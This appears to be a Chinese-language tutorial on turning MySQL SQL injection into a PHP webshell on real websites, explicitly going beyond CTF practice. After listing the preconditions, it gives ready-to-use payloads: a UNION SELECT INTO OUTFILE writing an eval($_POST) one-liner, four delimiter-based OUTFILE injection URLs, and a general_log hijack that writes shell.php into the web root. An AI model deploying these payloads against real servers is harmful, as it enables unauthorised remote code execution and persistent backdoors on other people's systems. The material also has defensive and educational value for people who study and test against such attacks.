前言
在平时的CTF题目中,我们只是利用SQL注入漏洞去获取flag,但是在实际的渗透环境中,我们可以利用SQL注入漏洞去上传一个webshell,进而获取网站的后台权限。
首先,对于能否写入webshell是有条件的:
- secure_file_priv 支持数据导出。MySQL用secure_file_priv这个配置项来完成对数据导入导出的限制。如果secure_file_priv=NULL,MySQL服务会禁止导入和导出操作。通过命令查看secure-file-priv`的当前值,确认是否允许导入导出以及到处文件路径。
- 当前数据库的用户拥有FILE权限。
- 当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。
- 知道网站目录的绝对路径。
union select写入
outfile方法是mysql提供的一个用来写入文件的函数,当我们可以控制输入的文件和文件的保存路径时,就可以达到传入webshell的目的。当我们可以使用union查询时,就可以构造一个如下的语句:
union select '<?php eval($_POST[cmd])?>' into outfile 'web目录';
分隔符写入
当union无法使用时,还可以利用分隔符写入:
?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>)#
?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>)#
log写入
新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话木马,这时我们可以通过修改MySQL的log文件来获取webshell。
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = '网站目录/shell.php'; #设置日志目录为shell地址
select '<?php eval($_POST[shell]);?>' #写入shell
set global general_log=off; #关闭general log模式
然后就可以在网站目录下创建一个shell.php,里边有我们写入的一句话木马。
打开执行phpinfo